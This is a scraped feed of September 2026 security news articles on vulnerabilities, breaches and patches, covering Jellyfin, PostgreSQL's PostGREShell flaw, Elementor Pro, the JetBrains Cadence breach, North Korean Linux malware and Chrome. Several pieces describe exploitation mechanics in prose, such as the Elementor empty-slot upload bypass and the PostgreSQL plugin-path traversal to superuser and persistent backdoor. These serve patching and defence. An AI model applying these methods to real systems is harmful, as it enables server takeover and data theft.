Jellyfin 12.0 security fixes arrive alongside the removal of legacy client logins Jellyfin shipped version 12.0 of its media server. Several of the security fixes in it block requests built to reach files outside the folders the server is supposed to hand out. The rest of the security work touches first-run setup, plugin installs, parental controls, and the web interface. On a misconfigured server, someone who had not signed in could get the setup wizard, the first-run pages that create the administrator account and point Jellyfin at your libraries, to run a second time. Plugin packages with unsafe names are now rejected. Parental controls apply in places where they previously did not, and the web client has fixes for cross-site scripting, the bug class where content an attacker supplies runs as script inside another user’s browser session. The project does not name the individual issues, attach CVE identifiers, or rate severity, so an administrator deciding how fast to patch is working from the word “security” and the sentence around it. Old clients and old logins stop working Support for the legacy /emby/ and /mediabrowser/ addresses is gone, and the sign-in method Jellyfin had already marked deprecated is switched off by default, on existing servers as well as new installs. Clients that have not been updated in years are the ones that will stop connecting. Jellyfin also deleted POST /Users/{userId}/EasyPassword, one of five routes removed in this release that had already been reduced to no-ops, and marked UserDto.HasPassword obsolete on the grounds that its answer is no longer useful. Usernames are case insensitive in 12.0, and two accounts can no longer carry names that differ only by capitalization. A server holding such a pair will fail the database migration outright, so the user list is worth reading before the upgrade starts. Built-in TLS is still there, for now Jellyfin said in the 10.11.0 notes that it would remove the server’s own TLS support in this release. That removal has been pushed to a future version. The project continues to recommend running the server behind a reverse proxy. Anyone running an internet-facing instance on Jellyfin’s built-in TLS keeps working through the upgrade, which is the practical effect of the postponement. What to do before upgrading Third-party plugins built for 10.11 will not load on 12.0. The server now targets .NET 10 and several plugin interfaces changed, so those plugins need updated builds from their authors; Jellyfin advises pulling them off the server before upgrading and adding them back as new builds appear. Official plugins have been updated already. Disabled plugins now also stay disabled across a restart, which was not the case on 10.11. The upgrade path starts at 10.10.7 or any 10.11.x release, and anything older needs a stop at 10.10.7 first. A full library scan is required afterward, and the first one runs significantly longer than usual because Jellyfin now checks every item in the library against the files on disk. Administrators who want to run the migration as a deliberate step can start the server with --mode MigrateSystem, which performs the upgrade and exits without bringing the rest of Jellyfin up. The database schema changes and data is rewritten on first boot, and the backup taken before that happens is the only way back to the previous version.
helpnetsecurity.comSep 8, 2026extracted
Nightmare Eclipse Drops CrowdStrike, Nvidia, Avast Zero-Day Exploits
The security researcher known as Nightmare Eclipse has dropped three zero-day exploits targeting products from Avast, CrowdStrike, and Nvidia. Also known as Chaotic Eclipse, Infinite Nightmare, and MSNightmare, the security researcher came to fame for a series of zero-day exploits targeting Microsoft’s products, but has recently moved to other vendors as well. In late August, Nightmare Eclipse released a privilege escalation zero-day in a Kaspersky endpoint security product. Dubbed HardBreacher, the exploit has been patched by Kaspersky on August 31. Within a short window last week, Nightmare Eclipse dropped three new zero-day exploits, dubbed PrettyPrague, FalconFlank, and GreenSection. The PrettyPrague proof-of-concept (PoC) code, the researcher says, targets the Avast sandbox to spawn a shell with full system privileges, and may also affect other GenDigital products, including AVG and Norton. “Gen was recently made aware of a security vulnerability affecting a subset of Gen products, including Avast Antivirus, that could allow an attacker to elevate their system privileges. We immediately initiated our security response procedures and have fixed the issue. We take all security matters seriously and encourage users to keep their products up to date to ensure they are protected,” a GenDigital spokesperson said, responding to a SecurityWeek inquiry. FalconFlank exploits a bug in the Office malicious macros remediation feature of CrowdStrike Falcon Sensor for privilege escalation, the researcher says. “We are actively investigating these claims and advise customers to disable the Microsoft Office File Suspicious Macro Removal Windows policy setting. Customers remain protected through the Cloud Anti-malware for Microsoft Office Files settings. We refer customers to the FalconFlank Tech Alert in the CrowdStrike support portal,” CrowdStrike told SecurityWeek. The GreenSection exploit, Nightmare Eclipse says, targets an out-of-bounds memory write affecting a shared global memory section used by multiple Nvidia user-mode components. “While this bug does not get SYSTEM privileges immediately, it can be used cross user to user boundary easily or even compromise the dwm.exe process. I didn’t look deeply into it, but I’d be happy to see someone making a full exploit out of it,” Nightmare Eclipse notes. “We are aware of reports describing a proof-of-concept that demonstrates improper access controls on a shared memory section used by certain NVIDIA GPU display driver components on Windows. NVIDIA is reviewing the reported behavior through our established security and product engineering processes. NVIDIA takes reports of this nature seriously and is actively investigating to determine the root cause, affected configurations, and appropriate remediation,” an Nvidia spokesperson said. Security researcher Kevin Beaumont said late last week that the Avast, CrowdStrike, and Kaspersky exploits work. *updated with statement from Nvidia Related: VMware Workstation and Fusion Updates Patch Critical Vulnerability Related: Google Patches 6th Chrome Zero-Day of 2026 Related: Over 3 Million WordPress Sites Affected by Migration Plugin Vulnerability
securityweek.comSep 7, 2026extracted
North Korean Hackers Deploy New Linux Espionage Toolkit
North Korea-aligned threat actors have been using a new Linux toolkit in attacks targeting automotive and media organizations in South Korea, Rapid7 reports. Designed for long-term surveillance, the framework consists of a HAProxy instance called ‘ted backdoor’ and trojanized versions of tools such as ‘agetty’, ‘atd’, ‘crond’, ‘polkitd’, and ‘sshd’. The toolkit supports remote command execution, credential harvesting, and script injection into web traffic, enabling attackers to spy on victims for long periods of time without detection. According to Rapid7, the framework is deeply integrated within the target infrastructure, with the ted backdoor being compiled as part of the HAProxy version 2.8.12 running on the victim’s environment. “It uses its native filter API, internal memory pools, event scheduler, and process management infrastructure to intercept traffic and hide from monitoring, while genuine load balancing traffic operates as expected,” the cybersecurity firm explains. Likely in use since late 2024, when the first involved HAProxy iteration was released, the toolkit also uses a curl-based RAT, an SSH keylogger, and a stager. Initial access to an edge server was obtained through the exploitation of a Groupware login portal vulnerability. The SSH keylogger, which also serves as a staging server, was used for credential harvesting, enabling lateral movement to internal systems. “The stager checks for the presence of either crond or HAProxy, and only then deploys CurlRAT, retrieving it either from its data section or the edge web server. In parallel, the ted backdoor is dropped onto the HAProxy load balancer,” Rapid7 explains. The backdoor establishes C&C communication for data exfiltration, script injection, and command execution, and the balancer starts redirecting or serving malicious content to selected clients browsing through it. CurlRAT, the curl-based RAT deployed in the attacks, polls the C&C every 12 hours for commands. Based on these, it can decrypt and execute commands stored in its configuration, decode and write a new config payload to disk, and deploy a full interactive PTY shell. The ted backdoor is a custom HAProxy plugin compiled within the HAProxy source code, directly hooked into the balancer’s built-in HTTP parser. It can intercept and inject HTTP traffic, execute C&C tasks, and achieve persistence, among others. As part of the observed attacks, the threat actor used domains registered under low-cost commodity top-level domains (TLDs) and blended the payload delivery traffic into normal web browsing, mimicking Naver’s pstatic.net static content domain. “Ted backdoor and curlRAT were designed to persist during long-term espionage operations with the ability to steal cookie sessions, credentials, redirect selected users, conduct drive-by download attacks, and hide evidence of the tampered page to a specific range of IPs to evade detection,” Rapid7 notes. Attack artifacts recovered by the cybersecurity firm, along with the infrastructure used, point to watering-hole techniques previously used by APT37 and Lazarus, and the campaign timeframe overlaps with that of Operation SyncHole, attributed to Lazarus last year, which suggests that a North Korean threat actor might be behind this campaign as well. Related: US, Allies Warn of Russian Cyberattacks Targeting Critical Infrastructure Routers Related: EU Targets Russian Intelligence Officers Accused of Running Cyber Spying Campaign Related: China, India-Linked Hackers Both Targeted Same Pakistani Police Force
securityweek.comSep 7, 2026extracted
Attackers Breached JetBrains Cadence via Unpatched TeamCity, Extracting AWS Credentials
JetBrains is urging Cadence users to revoke and rotate all credentials following a security incident last month in which unidentified threat actors exploited a recently disclosed critical vulnerability in TeamCity to breach its own environment. "Cadence users should immediately revoke or rotate all credentials and secrets that may have been used to run their Cadence executions," JetBrains said. "They should also treat all executions, including their inputs and outputs in your Cadence project, as potentially untrusted." "As the threat actors gained access to the Cadence server, any credentials or secrets stored in Cadence, contained in the compromised backup, or made available to executions on the affected server should be considered compromised and must be revoked or rotated." Cadence is a JetBrains-hosted cloud computing service that integrates with PyCharm via an optional plugin to let developers run machine learning and heavy workloads on cloud GPUs directly from their IDE. The attack, per the software development company, involved the exploitation of CVE-2026-63077 (CVSS score: 9.8) to breach the affected Cadence environments. The deserialization of untrusted data vulnerability can permit an unauthenticated attacker with access to a TeamCity server to bypass authentication checks and execute arbitrary operating system commands with the privileges of the TeamCity server process. The security flaw has since come under active exploitation in the wild, with the U.S. Cybersecurity and Infrastructure Security Agency (CISA) adding it to the Known Exploited Vulnerabilities (KEV) catalog on August 5, 2026. The exploitation was discovered by JetBrains on August 23, 2026. In subsequent updates, JetBrains said the threat actor accessed data contained in the Cadence server backup from 2024 and that they obtained unauthorized access that could have allowed them to reach storage containing data associated with current Cadence users, including email addresses, project source code, and credentials. "This affects the same group of users we previously contacted directly," Daniel Gallo, Solutions Engineering Lead at JetBrains, said. "These findings did not identify any additional affected users. As a precaution, we are treating the data stored there as potentially exposed." Some of the information the threat actor has been "confirmed" to have accessed or compromised - Personal data, including usernames, real names, email addresses, last-login timestamps, and last accessed IP addresses A full backup of the Cadence server dating from 2024, which contains credentials, configuration, artifacts, logs, or other data Multiple AWS IAM users and associated credentials/secrets used with Cadence extracted from the 20224 backup, including IAM users belonging to JetBrains employees who used the service Files stored in S3 buckets within JetBrains AWS accounts used by Cadence JetBrains also cautioned that the attackers may have accessed source code synchronized from PyCharm projects to the affected server. This covers scenarios where users have relied on PyCharm to upload or synchronize project files for execution in Cadence, meaning the actions could have inadvertently exposed code, credentials, or configurations. It's not clear who is behind the activity. However, JetBrains said the intrusion took place between August 8 and 24, 2026. The exploited Cadence server ("api.cadence.jetbrains.com") has since been taken offline. The company conceded that the server in question should have been patched as part of its own vulnerability response efforts, but did not share any details as to why this did not happen. JetBrains has also invalidated all access tokens used by the JetBrains Cadence plugin in PyCharm to connect to Cadence. It has shared the following indicators of compromise - Activity occurring from August 8, 2026, onwards, particularly authentication or activity using credentials previously stored in or accessible through Cadence IP addresses associated with observed exploitation activity: - 150.109.230.104 - 43.153.227.206 - 62.210.127.48 - 210.247.242.190 - 15.235.225.205 - 152.233.30.18 Authentication or other activity from unexpected IP addresses or locations Unexpected repository clones or downloads, and unexpected commits to repositories Changes to repository secrets, webhooks, collaborators, or permissions New or modified personal access tokens, API tokens, or SSH keys in external services New service accounts created in external services Unexpected changes to cloud IAM roles, policies, or permissions Unexpected access to cloud storage, including S3 buckets and objects, in services such as AWS and Google Cloud Unexpected publication or modification of packages or releases Besides rotating all credentials, users are being asked to review connected systems for suspicious activity, specifically AWS accounts, S3 buckets, deployment environments, package/container registries, and other systems that are accessible using the revoked credentials, audit source code repositories for any unauthorized changes during the time period, and treat all executions as potentially untrusted. "The likely consequences of the personal data exposure include an increased risk of targeted phishing, social engineering, impersonation, and other unsolicited or malicious communications using the affected names and email addresses," JetBrains said.
thehackernews.comSep 5, 2026extracted
Elementor Pro WordPress Plugin Vulnerability Exploited to Hack Sites
Hackers have been exploiting a critical-severity vulnerability in the Elementor Pro WordPress plugin to hack websites, WordPress security firm Defiant warns. A highly popular drag-and-drop website builder, Elementor is a free WordPress plugin with over 10 million installations. Elementor Pro is the paid version that offers additional features, including a Form widget with support for File Upload fields. The bug, tracked as CVE-2026-32475 (CVSS score of 9.8), is described as an arbitrary file upload issue in the function that handles form submissions. While submissions are passed through the plugin’s validation and processing mechanisms, when the validation loop encounters an upload slot marked as empty, it triggers an error and returns, aborting the validation of other files in the field. The normal behavior would be to continue, skipping the empty entry, but the vulnerability results in checks never being applied to the remaining files uploaded through the same form field. An attacker can submit an upload field as an array with two parts: an empty slot that triggers the return, followed by a PHP payload that is uploaded without validation. Because the function that handles field processing correctly skips the empty slot and processes the second, unvalidated part of the field, the attacker-supplied file is written to disk. “As a result, an unauthenticated attacker can request the uploaded file to execute their PHP payload on the server,” Defiant explains, noting that this could lead to full site compromise. CVE-2026-32475 impacts all Elementor Pro plugin versions up to 4.2.1 and was patched in version 4.2.2 on August 19. Site owners should update to the fixed iteration as soon as possible. According to Defiant, threat actors started exploiting the security defect immediately after the fixes landed. The security firm has blocked over 190,000 exploit attempts to date. Successful exploitation of the vulnerability results in a PHP file being written to the /wp-content/uploads/elementor/forms/ directory, which stores uploaded form submissions. Site administrators are advised to check the directory for the presence of any PHP file, which is a strong indicator of compromise (IoC). They should also check logs for requests to /wp-admin/admin-ajax.php and check their sites for backdoors if any evidence of compromise is discovered. Defiant notes that Elementor Pro has over 6 million active installations, but it is unclear how many of them are affected. According to WordPress data, approximately two-thirds of Elementor’s 10 million installations run a vulnerable plugin version as of September 4. Related: 12-Year-Old PostgreSQL Vulnerability Enables Database, Server Takeover Related: VMware Workstation and Fusion Updates Patch Critical Vulnerability Related: Google Patches 6th Chrome Zero-Day of 2026 Related: Over 3 Million WordPress Sites Affected by Migration Plugin Vulnerability
securityweek.comSep 5, 2026extracted
The hidden work of modernizing Malwarebytes
Most of the work that keeps a security product trustworthy is invisible. Users see a scan complete, a threat blocked, an update applied overnight. They don’t see the platform underneath. Runtimes, managed libraries, native drivers, and Windows requirements must all stay current and work together across millions of endpoints. Our migration to .NET 10 is one example of how we keep that platform moving and our focus in this article. It would be easy to call these upgrades maintenance tasks and move on. But that is underselling them. Our code runs continuously, with elevated privileges, next to some of the most sensitive parts of Windows. Every dependency in our stack, from the runtime and third-party libraries to native drivers and operating-system requirements, affects the environment in which our software runs. When one changes, everything that relies on it may have to change too. The problem: platforms fall behind by standing still  In endpoint security, the ground never stops moving. Windows evolves. Threats evolve. Hardware evolves, from ARM64 laptops to machines with far more memory and faster storage than the ones our code was first written for.   A platform that stands still does not stay the same. It falls behind. Every skipped release of a dependency or runtime widens the gap between the ecosystem we built on and the one that is stable today.   A modern runtime and .Net 10 in particular can give us better security, faster code paths, a smaller memory footprint, and richer diagnostics. It also gives our engineers language and tooling improvements that help them work more efficiently.  The stakes are also particularly high for security software:  A web app can be rolled back with a deployment. Software already installed on a customer’s endpoint cannot.  Our code runs with high privileges, alongside kernel drivers and anti-tamper protections.    A runtime regression does not affect one server. It has the potential to affect millions of machines.   So we treat a runtime upgrade with the same rigor as a security feature.  The challenge: everything moves together  Malwarebytes for Windows is not a single program. It is a coordinated system: a user-facing interface, several long-running Windows services, an installer, a self-update pipeline, a plugin surface, and third-party managed dependencies.   These sit above native drivers and our detection engine. The .NET 10 migration covered the managed parts of Malwarebytes while leaving this native core untouched. But the different layers still have to work together.  The migration had to satisfy several requirements at once:   Security-sensitive code had to behave identically before and after the change.   Native drivers and anti-tamper layers had to continue working correctly with the  managed code.  The installer and update pipeline had to deploy the new runtime files and clean up old ones.   Plugins and third-party dependencies had to remain compatible.  Existing Malwarebytes installations had to continue working.   Our automated validation had to be extensive enough to trust the result without inspecting every path by hand.  The boundary between managed and native code deserved particular attention. Managed code in our services talks to native components through interfaces such as P/Invoke and COM. A runtime change can subtly affect how these different parts of Malwarebytes communicate and work together.  Those differences may never show up in a demo. They might only surface on one machine in 10,000. Finding them before customers do is the important part.  Not every update looks the same  There are three main reasons we update a dependency: We choose to, the platform underneath forces us to, or a vulnerability makes us. Each comes with a different timeline.   Elective modernization. We may choose to move to a new runtime, a new major version of a library, or a new platform capability to take advantage of new features, fixes, or security improvements.   Baseline shifts. As platform requirements evolve, some older compatibility constraints can hold back modernization. For example, moving to .NET 10 allowed us to update the application baseline and adopt a newer, supported runtime. As part of the same change, Windows 7 support was deprecated.  Forced patches. Sometimes a vulnerability is disclosed in a library we ship or a system we depend on. The change is no longer optional and the timeline is not ours. What we can control is our readiness: the testing, release process, and staged rollout that allow us to respond quickly without introducing new problems.  Different reasons and different timelines, but each requires the same careful approach.  The .NET migration: Why we did it  Moving to .NET 10 gives Malwarebytes a more secure, supported, and capable foundation for Windows, with several compounding benefits:  Security. A modern runtime benefits from Microsoft’s ongoing security work, including safer defaults, stronger cryptography, and mitigations for memory and interoperability bugs. Staying on a runtime that Microsoft actively supports means we can continue to apply fixes when vulnerabilities are discovered.   A supported foundation. It may not be a glamorous reason, but .NET 10 keeps us on a supported, actively developed platform that is better aligned with newer versions of Windows. It makes it easier to adopt future fixes, features, and improvements as routine work instead of one-off projects.  Diagnostics and observability. Modern .NET has stronger built-in tracing, metrics, and crash diagnostics. In a security product, understanding how code behaves in the field matters. Better diagnostics help us identify and resolve reliability issues.   Performance and memory efficiency. Recent .NET releases have improved the just-in-time compiler, garbage collector, and core libraries. Our processes run all day in the background, so how efficiently they run and manage memory matters. These capabilities give us more opportunities to improve efficiency, although the impact will vary between components.  The .NET migration: How we did it   The guiding principle is simple: Never advance faster than the evidence allows.   We started by isolating the work on a dedicated branch. We retargeted the platform and refreshed every managed dependency so the new runtime and the codebase agreed on exactly which components should ship.   That surfaced some of the less obvious consequences of the upgrade early on: libraries that had been renamed or folded into the runtime, files that were no longer needed, and new ones that had to ship in their place.  Deployment is easy to overlook and expensive to get wrong. A runtime migration is not only about the code that runs. It is also about what lands on the customer’s disk.   Our installer and update service had to learn the new runtime’s file layout. They had to remove dependencies the runtime now provides, stop shipping renamed files, and deliver replacements cleanly during both fresh installs and in-place updates.   Getting deployment right is the difference between an upgrade users never notice and one that creates a support problem.  Once the build was working correctly, the focus moved to validation.  The migration involved:  Extensive automated testing across services, install, and update paths.  Compatibility validation against real-world configurations and previous installations.  Performance benchmarking to catch regressions in startup, memory, and scan behavior.  Canary and staged deployment, starting with small populations and expanding only when results showed it was safe to do so.  Continuous monitoring and automated regression detection in the field.  Cross-functional work across platform, QA, installation and update, and release engineering.  “We never advanced faster than the evidence allowed. Every gate had to turn green on its own.”  The .NET migration: The tradeoffs   None of this was free, and the choices involved deliberate tradeoffs.   The tradeoff on the branch was drift. Isolating the migration protected the main codebase, but the longer that branch existed, the more it could diverge from active development. We managed that risk through frequent integration rather than leaving one large, risky merge until the end.   The tradeoff on rollout was speed. Staged deployment also meant customers received the update later than they would with a big-bang release. We accepted that tradeoff. Evidence from smaller populations gives us an opportunity to catch problems before an update reaches a much larger number of endpoints.  The tradeoff on AOT was flexibility. Ahead-of-time compilation can improve startup performance but can also constrain dynamic behavior. We applied it selectively, component by component, rather than everywhere by default.  What the .NET 10 migration means for customers The best outcome of infrastructure work is that customers benefit from it without having to think about it.   On .NET 10, those benefits for Malwarebytes customers include:    Improved reliability on a fully supported, actively maintained runtime.   A more secure foundation that benefits from the platform’s continuing security improvements.   Access to new .NET features and fixes.  Better support for newer versions of Windows.  Newer .NET tools can help us develop and deliver new protection faster.  Lessons worth keeping   Every one of these updates—the runtime, the baselines, the security patches—leaves the team holding a few convictions more firmly.   Platform upgrades are strategic investments in everything built on top of them. Modernization also works best when it is continuous: the longer a platform falls behind, the more difficult the eventual upgrade can become.  Automation is particularly important for changes of this breadth. So are the small, unglamorous decisions made years earlier, such as maintaining clean boundaries between components and having a build process that knows precisely what it ships.  Those foundations are what make larger changes possible.   “Technical debt compounds like financial debt. The cheapest upgrade is the one you never postponed.”   What comes next   No upgrade is a finish line. Each one is a step in a longer pattern: modernize continuously, in deliberate steps, so the platform never falls behind. Baselines will shift again. Vulnerabilities will land without warning. Each will meet the same discipline: the same tests, the same staged rollout, and the same evidence before we move forward.  That discipline is what a product trusted to run every day, on every machine, without a second thought is actually made of.   Malwarebytes for Windows on .NET 10 shipped in version 5.6.0. It is the latest step in a long-standing commitment to invest in the platform beneath the product so the protection on top of it can keep getting better.  “One of the best cybersecurity suites on the planet.”   According to CNET.  Read their review →
malwarebytes.comSep 4, 2026extracted
PostgreSQL Fixes 12-Year-Old Logical Decoding Flaw Enabling Replication-Role Code Execution
PostgreSQL has released updates to address a security flaw that allows an account with the REPLICATION attribute to run arbitrary code as the operating-system user running the database server. The flaw, tracked as CVE-2026-6471 (CVSS score: 7.2), has been present since logical decoding was introduced in PostgreSQL 9.4 in 2014. Versions before PostgreSQL 18.6, 17.11, 16.15, 15.19, and 14.24 are affected. Exploitation requires an account carrying the REPLICATION attribute and a server running with wal_level = logical. Backup tools, standby servers, change data capture (CDC) pipelines, and monitoring systems routinely hold that attribute. The fix, shipped on August 13, adds a server parameter called output_plugin_libraries that lists which libraries may be loaded as logical decoding output plugins, defaulting to 'pgoutput, test_decoding'. Installations using any other output plugin, wal2json, and decoderbufs among them, will have logical decoding refused after updating until an administrator adds the library to that list and reloads the server configuration. "Previously, a replication user could select any loadable library for logical decoding, allowing exploits of various sorts. To allow locking this down without breaking setups that worked before, introduce a whitelist of allowed output plugins," the PostgreSQL Global Development Group said in the 18.6 release notes. The PostgreSQL Project credited Vladimir Tokarev and Yu Kunpeng with reporting the problem. Tokarev detailed it in a September 1 write-up for data security firm Cyera Research, which names the flaw PostGREShell. The plugin name supplied in a CREATE_REPLICATION_SLOT command is passed directly to the function that loads the library, Cyera said. PostgreSQL's existing restriction on plugin paths, which confines non-superusers to a single administrator-controlled directory, is never called on the replication path. The replication protocol's parser accepts almost any character inside a double-quoted plugin name, including path separators and ../ traversal, so a full filesystem path reaches the loader as typed. On Windows, the server resolves a network path over Server Message Block (SMB) and fetches the library from a machine the attacker controls, writing nothing to the target, Cyera said. On Linux and macOS, the same result requires enabling Network File System (NFS) automounting. Everywhere else the attacker needs an existing way to write a file to the server's disk. Code loaded this way runs inside the database backend process as the postgres operating-system user. Cyera's test plugin then wrote the role catalog directly to make the replication account a PostgreSQL superuser. It also set up three persistence mechanisms that survive a server restart. Cyera describes the REPLICATION attribute as a low-privilege backup credential, but PostgreSQL scored the flaw with Privileges Required set to High, a rating reproduced in SUSE's own assessment. PostgreSQL rejected applying its existing LOAD restriction to the replication path. "REPLICATION users were not previously subject to restrictions on output plugin paths, so they were able to bypass LOAD-time protections during logical decoding. Unfortunately, adding the standard LOAD restrictions now would retroactively require all third-party output plugins to be installed under the $libdir/plugins directory," Jacob Champion, who wrote the fix, said in the commit message. Failed loads appear in the server log as ERROR: library "..." may not be used as an output plugin, with a hint naming the setting, according to the parameter's documentation. Administrators are advised to take the following steps - Run SELECT DISTINCT plugin FROM pg_replication_slots WHERE plugin IS NOT NULL; before updating to identify the output plugins in use, which will only show plugins successfully used at some point. Update to 18.6, 17.11, 16.15, 15.19, or 14.24, or to the equivalent distribution package. Add any non-default plugin to output_plugin_libraries and reload the configuration with pg_ctl reload or SELECT pg_reload_conf(). A restart is not required. Set the new cluster's output_plugin_libraries before running pg_upgrade --check when migrating from version 17 or later, as the check fails if the list does not permit the old cluster's slot plugins. Fixed packages are available on Amazon RDS for all five branches, as well as from Debian, SUSE, and Ubuntu. PostgreSQL's advisory covers supported branches 14 through 18 and does not address earlier ones. PostgreSQL 14 stops receiving fixes on November 12, 2026, the project said in its release announcement. The upstream fix "requires additional changes to the configuration if some extensions are used," Debian's advisory warns, naming its wal2json and decoderbufs packages. Ubuntu's USN-8653-1, which shipped the fix for 22.04, 24.04, and 26.04 LTS on August 20, makes no mention of the parameter and tells administrators only to restart PostgreSQL after the update. As of September 4, the wal2json project had updated its documentation to tell users to add the plugin to output_plugin_libraries, citing the CVE. A gap in the fix is still open. pg_createsubscriber creates replication slots using pgoutput without checking the new parameter, so a --dry-run succeeds and the conversion then fails. "pg_createsubscriber command creates replication slots with plugin 'pgoutput', without checking the GUC. This meant if the plugin name is not specified in the parameter, --dry-run mode passes but actual convertion fails. It's very surprising for users and should be avoided," Hayato Kuroda of Fujitsu said in a message to the pgsql-hackers mailing list. A patch was under review and had not been committed as of September 4. CVE-2026-6471 remained absent from CISA's Known Exploited Vulnerabilities (KEV) catalog as of September 4. The Hacker News found no proof-of-concept code for it in public repositories on the same date. Until the update can be applied, Cyera said exposure can be reduced by stripping the REPLICATION attribute from accounts that do not need it, restricting replication entries in pg_hba.conf to known addresses, blocking outbound SMB (port 445) and NFS (port 2049) traffic from database servers, and disabling autofs where it is not needed.
thehackernews.comSep 4, 2026extracted
Sangoma Switchvox Vulnerabilities Exploited in the Wild
Threat actors have been exploiting a critical-severity vulnerability in the enterprise VoIP telephony management solution Sangoma Switchvox, Horizon3 and CISA warn. Tracked as CVE-2026-9586 (CVSS score of 9.3) and described as an unauthenticated SQL injection issue, the security defect can be exploited remotely for arbitrary code execution. It resides in an endpoint that processes XML content, which did not perform sanitization or parameterization when concatenating the user-controlled PhoneIP value into PostgreSQL queries. “An unauthenticated remote attacker can execute arbitrary SQL statements against the backend PostgreSQL database using a single crafted request, including database operations and remote code execution,” a NIST advisory reads. On Tuesday, cybersecurity firm Horizon3 warned that threat actors had started exploiting CVE-2026-9586 in the wild and shared indicators of compromise (IoCs) to help organizations identify potential intrusions. On Wednesday, the US cybersecurity agency CISA added the security flaw to its Known Exploited Vulnerabilities (KEV) catalog along with six other issues, including the JFrog Artifactory bug and two SonicWall SMA1000 zero-days recently flagged as exploited. The fifth vulnerability added to CISA KEV is CVE-2026-48710, an HTTP request/response smuggling flaw in the lightweight ASGI framework Starlette that was publicly disclosed in May. Hackers have been exploiting it since May, Horizon3 said in early June. Next in line is CVE-2026-49869, a critical-severity command injection defect in the open source orchestration platform Kestra that was disclosed in June and flagged as exploited by Microsoft last week. The last vulnerability added to CISA’s KEV list on Wednesday is CVE-2026-59822, a high-severity authentication bypass in LiteLLM. Last week, Wiz said its honeypots caught exploit attempts targeting this bug. CISA is urging federal agencies to patch these vulnerabilities within three days, except for the Kestra and Starlette flaws, which should be patched within two weeks, in line with BOD 26-04’s recommendations. Related: Over 3 Million WordPress Sites Affected by Migration Plugin Vulnerability Related: Exploit Published for Fresh Cleo Harmony Vulnerability Related: Hackers Start Exploiting Critical Langflow Vulnerability
securityweek.comSep 4, 2026extracted
12-Year-Old PostgreSQL Vulnerability Enables Database, Server Takeover
PostgreSQL releases since 2014 contain a severe vulnerability that allows attacker with low privileges to take over databases and servers, cybersecurity firm Cyera reports. An open source relational database system offering support for both relational (SQL) and non-relational (JSON) queries, PostgreSQL is one of the most popular databases, being used by tens of thousands of companies, including large enterprises. Tracked as CVE-2026-6471 (CVSS score of 7.2) and referred to as PostGREShell, the recently identified security defect can be exploited for remote code execution and privilege escalation. It is described as a missing authorization in the database’s logical decoding and can be exploited by attackers that have ‘Replication’ privileges to load any file visible to the OS account running the server, via the logical decoding plugin. PostgreSQL, Cyera explains, uses a dedicated replication protocol to sync multiple replicas of any primary database, for backup and recovery. An account with the Replication attribute is required for that, and one is provided to any connected backup tool, server, pipeline, and monitoring utility. Changes are recorded by local replication as table events, so that external tools can read, which they do by creating a logical replication slot and naming an output plugin that is loaded by PostgreSQL to format the stream. When a plugin is loaded, PostgreSQL runs their init function with the privileges of the server process. To prevent abuse, non-superusers can only load plugins from an admin-controlled directory. Cyera discovered that the plugin’s name is passed directly to the loader, without validation or sanitization, which allows an attacker to hand the loader a full filesystem path that is served to dlopen(), the C/C++ function used to dynamically load shared libraries. “The replication protocol’s parser accepts almost any character inside a double-quoted plugin name: slashes, backslashes, dots, ../ traversal, even Windows UNC paths,” Cyera notes. This allows an attacker to load and execute any file through dlopen(), and the file is executed with the privileges of the postgres system user. “Code loaded via dlopen() runs in the same address space as PostgreSQL, with no sandbox and no checks on internal API calls. The server simply trusts any code that was loaded,” Cyera explains. “So the plugin calls an internal function to become the bootstrap superuser for the session, then writes directly to pg_authid, the catalog table that defines who is a superuser, and flips every privilege flag to true,” the company continues. At this point, the attacker has obtained permanent superuser privileges: they can access every table in every database, execute OS commands, read private keys, and write files to any location the postgres process has access to. According to Cyera, the plugin can also deploy backdoor mechanisms: it can enable connections without passwords, copies itself to a stable location and registers itself to be re-loaded into every new backend, and can re-apply the superuser change even if it is reverted. “PostGREShell turns the Replication credential nobody worries about into code execution, superuser, and a persistent backdoor on the database behind much of the internet. Every version from 9.4 through 18 is affected (we confirmed it on 18.2), and logical replication is now standard production plumbing, so the vulnerable path exists almost everywhere PostgreSQL runs,” Cyera notes. CVE-2026-6471 has been patched in PostgreSQL versions 18.6, 17.11, 16.15, 15.19, and 14.24. Organizations are advised to update their instances as soon as possible, audit their Replication accounts, and remove the Replication attribute from any account that does not need it. Related: Rockwell Automation Patches Over a Dozen Vulnerabilities Across Products Related: OpenLeash Adds a Human Check to Risky AI Agent Actions Related: Threat Actor Hacks 14,000 IP Cameras in Ukraine and Russia Related: New HollowGraph Malware Abuses Microsoft 365 Calendar for C&C Communication
securityweek.comSep 4, 2026extracted
Google Patches 6th Chrome Zero-Day of 2026
Google on Thursday rolled out fresh Chrome 152 security updates that resolve 12 vulnerabilities, including an exploited zero-day. Tracked as CVE-2026-85046, the high-severity bug is described as a type confusion issue in Chrome’s V8 JavaScript and WebAssembly engine. It was reported by Salvatore Gulizia, who received a $1,000 bug bounty reward. “Google is aware that an exploit for CVE-2026-85046 exists in the wild,” the internet giant’s advisory reads. While the company has not shared details on the security defect, type confusion flaws in the V8 engine may be exploited to perform remote read/write operations via crafted HTML pages. Type confusion vulnerabilities are memory corruption bugs that could lead to crashes, remote code execution, and other malicious behavior. CVE-2026-85046 is the sixth Chrome zero-day patched in 2026. The other five are CVE-2026-2441, CVE-2026-3909, CVE-2026-3910, CVE-2026-5281, and CVE-2026-11645. The security defect was resolved in Chrome versions 152.0.7977.82/.83 for Windows and macOS, and version 152.0.7977.82 for Linux. The updates address nine other high-severity bugs, including out-of-bounds read/write, incomplete cleanup, use-after-free, race condition, improper resource exposure, and type confusion issues. Three of them have been reported by external researchers. Additionally, Google fixed two medium-severity improper input validation and use-after-free weaknesses. Related: Chrome and Firefox Updates Patch Dozens of Vulnerabilities Related: Chrome 152 Patches Over 300 Vulnerabilities Related: Over 3 Million WordPress Sites Affected by Migration Plugin Vulnerability
securityweek.comSep 4, 2026extracted
Server Exchange, cinque scudi per la posta elettronica
